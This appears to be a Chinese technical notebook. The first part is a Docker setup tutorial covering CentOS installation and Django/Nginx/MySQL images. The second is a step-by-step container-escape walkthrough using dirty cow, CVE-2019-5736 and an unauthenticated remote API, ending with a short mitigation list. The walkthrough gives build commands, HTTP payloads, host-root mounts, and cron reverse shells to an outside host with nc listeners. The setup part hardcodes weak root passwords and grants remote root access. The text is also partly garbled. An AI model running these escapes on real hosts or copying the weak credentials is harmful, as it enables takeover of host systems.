Docker基础知识
- 安装问题-有podman
- Centos8使用yum install docker -y时,默认安装的是podman-docker软件
- 安装docker
- yum list installed | grep docker
- yum -y remove xxxx
- Docker安装配置
- 下载安装docker
- 启动docker,并设置开机启动
- 下载所需镜像
- centos镜像进行配置Django
- SSH镜像制作
- 新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
- run.sh写入内容
- Dockerfile写入内容
- 创建镜像
- Django镜像制作
- 新建django_centos文件夹并进入
- run.sh写入内容
- 创建镜像
- Nginx镜像制作
- 新建django_nginx文件夹并进入
- 停止正在运行的 镜像进程
- 搜索 镜像
- compose 安装
- docker常用命令
- 漏洞复现-docker容器逃逸与研究
- 前言
- 三种方法
- 利用dirty cow来进行docker逃逸
- 利用前提
- 前置知识
- 利用dirty cow与VDSO来实现docker逃逸的过程
- 判断是否为docker环境
- 查看系统进程的cgroup信息
- 下载脚本
- 利用脚本
- 利用结果
- cve-2019-5736
- 利用原理与条件
- 漏洞触发过程
- 下载利用脚本并修改
- 编译脚本
- 将编译好的main文件上传到docker中
- 执行脚本并等待此docker再次被exec
- docker配置不当
- docket remote api未授权访问导致逃逸
- 确定docker remote api是否可访问
- 漏洞利用
- 创建一个包,得到返回的exec_id的参数,数据包内容如下:
- 得到exec_id参数后构造第二个exec_start数据包,内容如下:
- 在docker容器内安装docker作为client
- 查看宿主机的docker image信息
- 启动一个容器并且将宿主机的根目录抓到容器的某个目录
- 写一个计划任务反弹shell(或者写.ssh公钥都OK)
- 在vps上使用nc命令等待反弹过来的shell
- 利用特权模式逃逸
- 漏洞原理
- 漏洞利用
- 查看磁盘文件
- 将/dev/vda1也就是磁盘挂在到本地的任意文件下
- 写入计划任务
- 在vps上等待shell反连接
- 防止docker逃逸的方法
1、启动所有容器docker start $(docker ps -a | awk '{ print $1}' | tail -n +2)
2、关闭所有容器docker stop $(docker ps -a | awk '{ print $1}' | tail -n +2)
3、删除所有容器docker rm $(docker ps -a | awk '{ print $1}' | tail -n +2)
4、删除所有镜像(慎用)docker rmi $(docker images | awk '{print $3}' |tail -n +2)删除docker中的容器可以使用如下命令:docker rm 容器id
安装问题-有podman
Centos8使用yum install docker -y时,默认安装的是podman-docker软件
1,卸载podman软件(可以使用rpm -qa|grep docker)
yum remove docker
2,下载docker-ce源
curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
3,安装docker-ce
yum install docker-ce -y
安装docker
yum install docker -y
Start Docker 启动docker
systemctl start docker #启动docker
systemctl enable docker #开机启动docker
systemctl status docker #查看docker状态
# docker run hello-world
# docker version
查看执行过的docker进程:docker ps --all
- 环境
传送门
安装最新版docker按这步操作就行,需要指定版本
yum install docker-ce docker-ce-cli containerd.ioyum install -y docker-ce docker-ce-cli containerd.io
安装指定版本的,首先列出可用的版本有哪些,然后选择并安装
yum makecache #生成仓库缓存
DaoCloud 加速器 是广受欢迎的 Docker 工具,解决了国内用户访问 Docker Hub 缓慢的问题。DaoCloud 加速器结合国内的 CDN 服务与协议层优化,成倍的提升了下载速度。
-
yum list installed | grep docker
-
yum -y remove xxxx
2021/2/24
1. 下载docker-ce的repocurl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo2. 安装依赖
yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm3. 安装docker-ce
yum install docker-ce4. 启动docker
systemctl start docker
不通
备份旧的配置文件mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
下载新的 CentOS-Base.repo 到 /etc/yum.repos.d/ 这里是改为阿里云的
wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo
或者
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo生成缓存
yum makecacheyum 包更新到最新
yum update
安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的
yum install -y yum-utils device-mapper-persistent-data lvm2
设置yum源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
如果出现错误提醒
(尝试添加 ‘–skip-broken’ 来跳过无法安装的软件包 或 ‘–nobest’ 来不只使用最佳选择的软件包)
使用下面命令
yum install -y https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/edge/Packages/containerd.io-1.2.6-3.3.e
命令安装最新的 containerd.io、然后就可以顺利的安装Docker4、 安装docker,出现输入的界面都按 yyum install -y docker-ce
查看docker版本,验证是否验证成功docker -v
Docker 要求 CentOS 系统的内核版本高于 3.10,可以使用uname -r命令来查看自己的系统内核版本
卸载重装
yum remove docker docker-common docker-selinux docker-engine
安装工具包yum-utils
yum install -y yum-utils
选择国内的源,速度会快一些,此处选择阿里云的
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
查看 docker 版本
yum list docker-ce --showduplicates | sort -rLoading mirror speeds from cached hostfile
Loaded plugins: fastestmirror
Installed Packages
docker-ce.x86_64 3:20.10.6-3.el7 docker-ce-stable
docker-ce.x86_64 3:20.10.6-3.el7 @docker-ce-stable
docker-ce.x86_64 3:20.10.5-3.el7 docker-ce-stable
docker-ce.x86_64 3:20.10.4-3.el7 docker-ce-stable
docker-ce.x86_64 3:20.10.3-3.el7 docker-ce-stable
docker-ce.x86_64 3:20.10.2-3.el7 docker-ce-stable
docker-ce.x86_64 3:20.10.1-3.el7 docker-ce-stable
...可以从上面中任选一个版本指定安装,将以下<VERSION_STRING>替换成对应版本即可
yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io
也可以通过不指定版本直接安装最新版
yum install docker-ce docker-ce-cli containerd.io
docker version
运行官方提供的验证镜像helloworld
环境介绍
CentOS7.4 基础服务器版本
Docker
Django 此为docker镜像
Nginx 此为docker镜像
MySQL 此为docker镜像
Docker安装配置
下载安装docker
yum -y install docker vim
启动docker,并设置开机启动
systemctl start docker
systemctl enable docker
下载所需镜像
docker pull centos
docker pull nginx
docker pull mysql # 如果下载别的版本MySQL加写成,如:mysql:5.6
centos镜像进行配置Django
为方便以后使用这里分为SSH和Django两步来做
SSH镜像制作
新建ssh_image文件夹并进入
mkdir -p create_docker_image/ssh_image
cd create_docker_image/ssh_image
新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
touch Dockerfile run.sh
chmod +x run.sh
run.sh写入内容
vim run.sh
#! /bin/bash
/usr/sbin/sshd -D
Dockerfile写入内容
vim Dockerfile
# 设置继承镜像
FROM centos:latest# 提供一些作者的信息
MAINTAINER wallie@910# 开始运行命令
RUN yum install -y openssh-server
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ecdsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ed25519_key
RUN sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
RUN sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config
RUN echo "123456" | passwd --stdin root
ADD run.sh /run.sh
EXPOSE 22CMD ["/run.sh"]
-
温馨提示 注意网络安全
by:aming 2021/09/28
创建镜像
docker build -t sshd:centos .
aming 温馨提示 注意后面 有个 什么小东东
aming提醒 sshd 配置 要正确 这一步 会报错
Django镜像制作
“mysite”的项目建议自己提前搭建好,直接拷贝过来用,但针对有路径需要做一些调整
新建django_centos文件夹并进入
cd /aming/.../
mkdir -p django_centos
cd django_centos
新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
touch Dockerfile run.shchmod +x run.sh
run.sh写入内容
#! /bin/bash
# 同步数据库
python manage.py makemigrate --noinput
python manage.py migrate --noinput
# uwsgi启动django
uwsgi quwan_app/uwsgi.ini
/usr/sbin/sshd -D
tail -f /dev/null
Dockerfile写入内容
# 指定操作的镜像
FROM sshd:centos# 指定操作的镜像
FROM sshd:centos# 创建文件夹
RUN mkdir -p /data/wwwroot # 项目存放路径
RUN mkdir -p /data/static
RUN mkdir -p /data/media# 拷贝文件,
COPY quwan_app /data/wwwroot/quwan_app
# “mysite” 为你自己的django项目可以自行更改
COPY run.sh /data/wwwroot/quwan_app/web_run.sh #这句指令相当与:cd /data/wwwroot/mysite
WORKDIR /data/wwwroot/quwan_app# 安装软件
RUN yum install epel-release -y
RUN yum -y install gcc python36 net-tools
RUN yum -y install python36-devel mysql-devel
RUN ln /usr/bin/python3.6 /usr/bin/python -f
RUN cp /usr/bin/yum /usr/bin/yum.bak
RUN cp /usr/libexec/urlgrabber-ext-down /usr/libexec/urlgrabber-ext-down.bak
RUN cp /usr/bin/yum-config-manager /usr/bin/yum-config-manager.bak
RUN sed 's/python/python2/g' /usr/bin/yum.bak > /usr/bin/yum
RUN sed 's/python/python2/g' /usr/libexec/urlgrabber-ext-down.bak > /usr/libexec/urlgrabber-ext-down
RUN sed 's/python/python2/g' /usr/bin/yum-config-manager.bak > /usr/bin/yum-config-manager
RUN pip3 install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/
RUN pip3 install django -i https://mirrors.aliyun.com/pypi/simple/
RUN pip3 install django_crontab -i https://mirrors.aliyun.com/pypi/simple/
RUN pip3 install pymysql -i https://mirrors.aliyun.com/pypi/simple/
RUN pip3 install mysqlclient -i https://mirrors.aliyun.com/pypi/simple/
RUN pip3 install uwsgi -i https://mirrors.aliyun.com/pypi/simple/
RUN pip3 install cryptography -i https://mirrors.aliyun.com/pypi/simple/ EXPOSE 8080
RUN sh web_run.sh# linux运行会报错修复
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak
#RUN sed 's/query.decode/query.encode/g' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py
#RUN sed '35,36d' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py
准备好项目 目录
创建镜像
docker build -t web:django .
Nginx镜像制作
新建django_nginx文件夹并进入
cd
mkdir -p create_docker_image/django_nginx
cd create_docker_image/django_nginx
Dockerfile写入内容
# 指定操作的镜像
FROM docker.io/nginx# 作者
MAINTAINER zhoufan# 系统部署
RUN mkdir -p /data/static
创建镜像
docker build -t web:nginx .
MySQL镜像制作
touch Dockerfile setup.sh
chmod +x setup.sh
Dockerfile写入内容
setup.sh写入内容
#!/bin/bashset -e# 启动mysql
service mysql start# 用来检测问题
echo '导入开始'
# 输入数据库project.sql
mysql < /root/project.sql
echo `service mysql status`# 用来检测问题
echo '开始修改密码'
# 导入数据库privileges.sql
mysql < /root/privileges.sql
echo `service mysql status`
tail -f /dev/null
privileges.sql数据库
确认数据库文件开关是否有创建库文件和使用库文件的语句
就 是 project.sql ,前两句
CREATE DATABASE /*!32312 IF NOT EXISTS*/ `project` default character set utf8 collate utf8_general_ci;
USE `project`;DROP TABLE IF EXISTS `abc`;CREATE TABLE `abc` (`id` int(11) DEFAULT NULL,`name` varchar(25) DEFAULT NULL,`deptid` int(11) DEFAULT NULL,`salary` float DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;LOCK TABLES `abc` WRITE;UNLOCK TABLES;
privileges.sql数据库
这个库文件是设置本地和远程root帐号和密码的,“test”为密码
use mysql;
/*修改root密码*/
update user set password=password('test') where user='root' and host='localhost';
/*添加root远程登陆*/
grant all privileges on *.* to root@'%' identified by 'test';
flush privileges;
三个主程序的镜像已经做完了,可以进行容器运行容器的启动配置 把启动命令分别写到不同的sh文件中,方便修改
cd
mkdir django_run
cd django_run
数据库容器启动配置启动文件
start_db.sh
#!/bin/bash
docker run --restart=always -d --name db --privileged=true web:mysql
--restart=always 这是保持容器自动启动
--name db 容器的别名改为db
--privileged=true 获取mysql容器权限
-v 指定映射文件夹,这里指定的是库文件到本地
web:mysql 镜像名
运行启动文件
sh start_db.sh
docker ps
指定容器为空,请查看最后的命令操作查看错误和删除容器
Django启动
因 为 d j a n g o 与 数 据 库 d b 有 链 接 , 所 以 数 据 库 运 行 成 功 后 , d j a n g o 才 能 运 行 , 不 然 会 报 错
vim start_web.sh
#!/bin/bashdocker run --restart=always -d --name web --link db -p 8000:8000 -v /data/nginx/static/:/data/static web:django
--restart=always 这是保持容器自动启动
--name web 容器的别名改为web
--link db 指定db的关联,django中连接数据的IP地址可以直接写成“db”
-p 8000:8000 映射端口到主机,可不用加
-v 挂载
web:django 镜像名
运行启动文件
sh start_web.sh
docker ps
Nginx启动
因 为 N g i n x 与 d j a n g o 有 链 接 , 所 以 d j a n g o 运 行 成 功 后 , N g i n x 才 能 运 行 , 不 然 会 报 错
vim start_nginx.sh
#!/bin/bash
docker run --restart=always -d --name nginx --privileged=true -p 80:80 -v /data/nginx/conf.d/web.conf:/etc/nginx/nginx.conf -v /data/nginx/logs:/var/log/nginx -v /data/nginx/statc:/data/static --link web web:nginx
--restart=always 这是保持容器自动启动
--name web 容器的别名改为nginx
--link db 指定django的关联,nginx中连接django的IP地址可以直接写成“web”
-p 80:80 映射端口到主机
web:django 镜像名
运行启动文件
sh start_nginx.sh
docker ps
docker ps 命令查看容器的运行信息
运行容器,并且可以通过 exec 命令进入 容器。
$ docker run -itd --name centos-test centos:centos7
docker exec -it xxxname /bin/bash docker images -a 查看所有镜像docker rmi 移除镜像docker rmi REPOSITORY:TAG
docker system prune --volumes
停止正在运行的 镜像进程
docker ps
docker kill f03cd21e7f17
# 杀死所有正在运行的容器.
alias dockerkill='docker kill $(docker ps -a -q)'# 删除所有已经停止的容器.
alias dockercleanc='docker rm $(docker ps -a -q)'# 删除所有未打标签的镜像.
alias dockercleani='docker rmi $(docker images -q -f dangling=true)'# 删除所有已经停止的容器和未打标签的镜像.
alias dockerclean='dockercleanc || true && dockercleani'
使用image创建container并进入交互模式, login shell是/bin/bash
docker run -i -t centos:7 /bin/bash
接着终端就是容器中的centos的了,默认是root用户登录,接下来的操作都在容器中了
二、容器中安装passwd,openssl,openssh-server
yum install passwd openssl openssh-server -y
安装完成后
启动sshd:# /usr/sbin/sshd -D
这时报以下错误:
[root@ b3426410ff43 /]# /usr/sbin/sshd
Could not load host key: /etc/ssh/ssh_host_rsa_key
Could not load host key: /etc/ssh/ssh_host_ecdsa_key
Could not load host key: /etc/ssh/ssh_host_ed25519_key执行以下命令解决:[root@b3426410ff43 /]# ssh-keygen -q -t rsa -b 2048 -f /etc/ssh/ssh_host_rsa_key -N ''
[root@b3426410ff43 /]# ssh-keygen -q -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -N ''
[root@b3426410ff43 /]# ssh-keygen -t dsa -f /etc/ssh/ssh_host_ed25519_key -N '' 然后,修改 /etc/ssh/sshd_config 配置信息:
UsePAM yes 改为 UsePAM no
UsePrivilegeSeparation sandbox 改为 UsePrivilegeSeparation no
可以用vi改,也可以用下面命令[root@b3426410ff43 /]# sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
[root@b3426410ff43 /]# sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config
修改完后,重新启动sshd[root@b3426410ff43 /]# /usr/sbin/sshd -D然后修改root密码passwd root或者直接一句修改echo “123456″ | passwd --stdin root接着需要把修改后的镜像保存了,首先输入exit退出容器,再使用下面命令查看刚运行过的,
docker commit将修改后镜像保存到本地,参数是ID,名字#docker ps -all
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b3426410ff43 centos:7 "/bin/bash" 4 minutes ago Exited (0) 4 seconds ago centos7ssh
#docker commit b5926410fe60 myimage/centos7-ssh
下次可以输入刚保存的名字启动修改过安装了ssh服务的镜像了。
搜索 镜像
docker search mysql
compose 安装
sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.1/docker-compose-uname -s
-uname -m
-o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose -v
开源的应用容器引擎,基于 Go 语言并遵从 Apache2.0 协议开源
Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。
容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。
镜像(Image):
Docker 镜像(Image)就相当于是一个 root 文件系统。
比如官方镜像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系统的 root 文件系统。
容器(Container):
镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例一样,
镜像是静态的定义,容器是镜像运行时的实体。
容器可以被创建、启动、停止、删除、暂停等。
仓库(Repository):
仓库可看成一个代码控制中心,用来保存镜像。
相关地址
官方hub仓库:hub.docker.com
菜鸟教程:https://www.runoob.com/docker/docker-tutorial.html
官方安装:https://docs.docker.com/engine/install/
win10系统 下载地址如下:
https://hub.docker.com/editions/community/docker-ce-desktop-windows/
如果您的系统不符合运行Docker for Windows的要求,则可以安装Docker Toolbox,
Dockbox Toolbox使用Oracle Virtual Box而不是Hyper-V。
Docker Toolbox和Docker Machine用户必读:
适用于Windows的Docker需要运行Microsoft Hyper-V。
如果需要,Docker for Windows安装程序将为您启用Hyper-V,并重新启动计算机。
启用Hyper-V后,VirtualBox将不再工作,但任何VirtualBox VM映像将保留。
使用docker-machine(包括通常在Toolbox安装期间创建的默认虚拟机)创建的VirtualBox VM将不再启动。
这些虚拟机不能与Docker for Windows并行使用。
但是,您仍然可以使用docker-machine来管理远程VM。
必须启用虚拟化。通常,默认情况下启用虚拟化。(请注意,这与启用Hyper-V不同)
目前版本的Docker for Windows在64位Windows 10 Pro,企业和教育(1607周年纪念版,Build 14393或更高版本)上运行。
将来我们将支持更多版本的Windows 10。
使用Docker for Windows创建的容器和图像在安装的机器上的所有用户帐户之间共享。
这是因为所有Windows帐户都将使用相同的虚拟机来构建和运行容器。
将来,Docker for Windows将更好地隔离用户内容。
嵌套的虚拟化场景,例如在VMWare或Parallels实例上运行Docker for Windows,可能会起作用,但不能保证(即不正式支持)。
Docker for Windows安装包括:
安装提供Docker Engine,Docker CLI客户端,Docker Compose,Docker Machine和Kitematic。
安装Docker for Windows
在上面的查找例子中,我们可以分析出一些B+树的性质:
双击Docker for Windows Installer.exe以运行安装程序。
.按照安装向导接受许可证,授权安装程序,然后继续安装。
您将被要求在安装过程中使用系统密码授权Docker.app。
需要特权访问来安装网络组件,指向Docker应用程序的链接,以及管理Hyper-V虚拟机。
单击安装完成对话框上的Finish以启动Docker。
Docker无法自动启动。要点击开始,搜索Docker,在搜索结果中选择应用程序,然后单击它(或按返回)。
当状态栏中的鲸鱼保持稳定时,Docker可以正常运行,并可从任何终端窗口访问。
docker常用命令
■ 基础命令# 查看docker基础信息docker info# 拉取镜像docker pull :# 移除容器docker rm# 移除镜像docker rmi# 启动、停止、重启容器docker stop docker start docker restartdocker run -itd --name -P/-p: /bin/bash# 查看docker容器docker ps# 打包镜像docker tag // docker push /# 登录dockerdocker login# 进入容器内部docker exec -it xxx /bin/bash# 从仓库搜索镜像docker search■ 批量操作# 杀死所有正在运行的容器docker kill $(docker ps -a -q)# 删除所有的容器docker rm $(docker ps -a -q)# 删除所有未打 dangling 标签的镜像docker rmi $(docker images -q -f dangling=true)# 删除所有镜像docker rmi $(docker images -q) docker rmi $(docker images -q)# 强制删除无法删除的镜像docker rmi -f docker rmi -f $(docker images -q)■ DockerfileDockerfile是一个包含用于组合镜像的命令的文本文档。可以使用在命令行中调用任何命令。Docker通过读取文件中的指令自动生成镜像。脚本结构:基础镜像信息维护者信息镜像操作指令容器启动时执行指令’#’ 为 Dockerfile 中的注释"&&" 符号连接命令,这样执行后,只会创建 1 层镜像Docker以从上到下的顺序运行Dockerfile的指令。为了指定基本镜像,第一条指令必须是FROM。一个声明以#字符开头则被视为注释。可以在Docker文件中使用RUN,CMD,FROM,EXPOSE,ENV等指令。■ docker-composeCompose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您可以使用 YML 文件来配置应用程序需要的所有服务。然后,使用一个命令就可以从 YML 文件配置中创建并启动所有服务。Compose 使用的三个步骤:使用 Dockerfile 定义应用程序的环境。使用 docker-compose.yml 定义构成应用程序的服务,这样它们可以在隔离环境中一起运行。最后,执行 docker-compose up 命令来启动并运行整个应用程序。
docker-compose down
漏洞复现-docker容器逃逸与研究
前言
获取某个系统shell后发现其是docker
这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。
三种方法
利用dirty cow来进行docker逃逸
利用前提
利用成功的前提是,宿主机的内核有dirty cow漏洞
前置知识
Linux中VDSO(virtual dvnamic shared object)小型共享库
将内核中的.so文件映射到到所有用户程序的内存地址空间,
.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件, 可以理解成将内核中的函数映射到内存中,方便大家访问。
利用dirty cow与VDSO来实现docker逃逸的过程
dirty cow漏洞可以让我们获取只读内存的写的权限,
我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,
然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。
这段shellcode初始化的时候会检查是否是被root调用,
如果是则继续执行,如果不是,则接着执行clock_gettime函数,
接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,
然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。(获取宿主机shell)
判断是否为docker环境
docker环境中根目录下存在此文件
ls -alh /.dockerenv
查看系统进程的cgroup信息
在Linux内核中,容器(container)这个名词有许多不同的意义,为避免混乱,被重命名为cgroup
对进程进程分组,比如Sessiongroup、process group等,
需要追踪一组进程的内存和IO使用情况,出现了cgroup,用来统一对进程进行分组,并在分组的基础上对进程进程监控和资源分配。
对于容器技术而言,它实现资源层面上的限制和隔离,
依赖于 Linux 内核所提供的 cgroup 和 namespace 技术
cat /proc/1/cgroup
下载脚本
如果没有 git与curl
那么就用shell文件管理传上去 用unzip和tar 解压
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make
如果docker 无make
cat /etc/centos-release
CentOS Linux release 7.9.2009 (Core)nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [payload] Error 127yum install nasm
[root@VM-24-12-centos docker]# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread会出现 bash: ./1: No such file or directory 链接库依赖问题
改为
/dirtycow-vdso >make
nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [Makefile:16: payload] Error 127/dirtycow-vdso >apk add nasm
(1/1) Installing nasm (2.13.03-r0)
Executing busybox-1.29.3-r10.trigger
OK: 154 MiB in 64 packages
利用脚本
chmod 777 0xdeadbeef
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
利用结果
直接反弹宿主机的shell到127.0.0.1如图所示
在根目录内创建一个任意文件。
查看是否漏洞被利用成功。
cve-2019-5736
利用原理与条件
通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
利用条件为:
runc版本<=1.0-rc6
Docker Version < 18.09.2
漏洞触发过程
修改利用脚本中的反弹shell命令,
使用go build来编译脚本,
将脚本上传到docker中,
等待宿主机执行exec进入当前docker容器
宿主机就会向我们的vps反弹root权限的shell。
下载利用脚本并修改
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
下图中的选中部分修改 后面的命令为反弹shell命令即可。
编译脚本
go build main.go
将编译好的main文件上传到docker中
可以先上传到github然后在docker到shell中使用git clone命令即可
执行脚本并等待此docker再次被exec
docker exec -it test /bin/bash
当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,
宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。
docker配置不当
docket remote api未授权访问导致逃逸
docker swarm是管理docker集群的工具。
主从管理、默认通过2375端口通信。
绑定了一个Docker Remote API的服务,
可以通过HTTP、Python、调用API来操作Docker。
确定docker remote api是否可访问
http://ip:2375/version
漏洞利用
访问http://ip:2375/containers/json看是否出现以下画面:
创建一个包,得到返回的exec_id的参数,数据包内容如下:
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}
注意其中的cmd字段,这个就是要执行的命令。
得到exec_id参数后构造第二个exec_start数据包,内容如下:
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json{
“Detach”: false,
“Tty”: false
}
成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。
在docker容器内安装docker作为client
apt-get install docker.ioyum -y install docker
查看宿主机的docker image信息
docker -H tcp://宿主机ip:2375 images
启动一个容器并且将宿主机的根目录抓到容器的某个目录
docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash
上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下
写一个计划任务反弹shell(或者写.ssh公钥都OK)
echo ‘* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1’ >> /test/var/spool/cron/root
在vps上使用nc命令等待反弹过来的shell
nc -lvp 8888
利用特权模式逃逸
漏洞原理
使用特权模式启动容器,可以获取大量设备文件访问权限。
因为当管理员执行docker run —privileged时,
Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
漏洞利用
查看磁盘文件
fdisk -l
将/dev/vda1也就是磁盘挂在到本地的任意文件下
mkdir /nuoyan
mount /dev/vda1 /nuoyan
此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。
写入计划任务
echo ‘* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1’ >> /nuoyan/var/spool/cron/root
在vps上等待shell反连接
nc -lvp 8888
防止docker逃逸的方法
1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 >1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险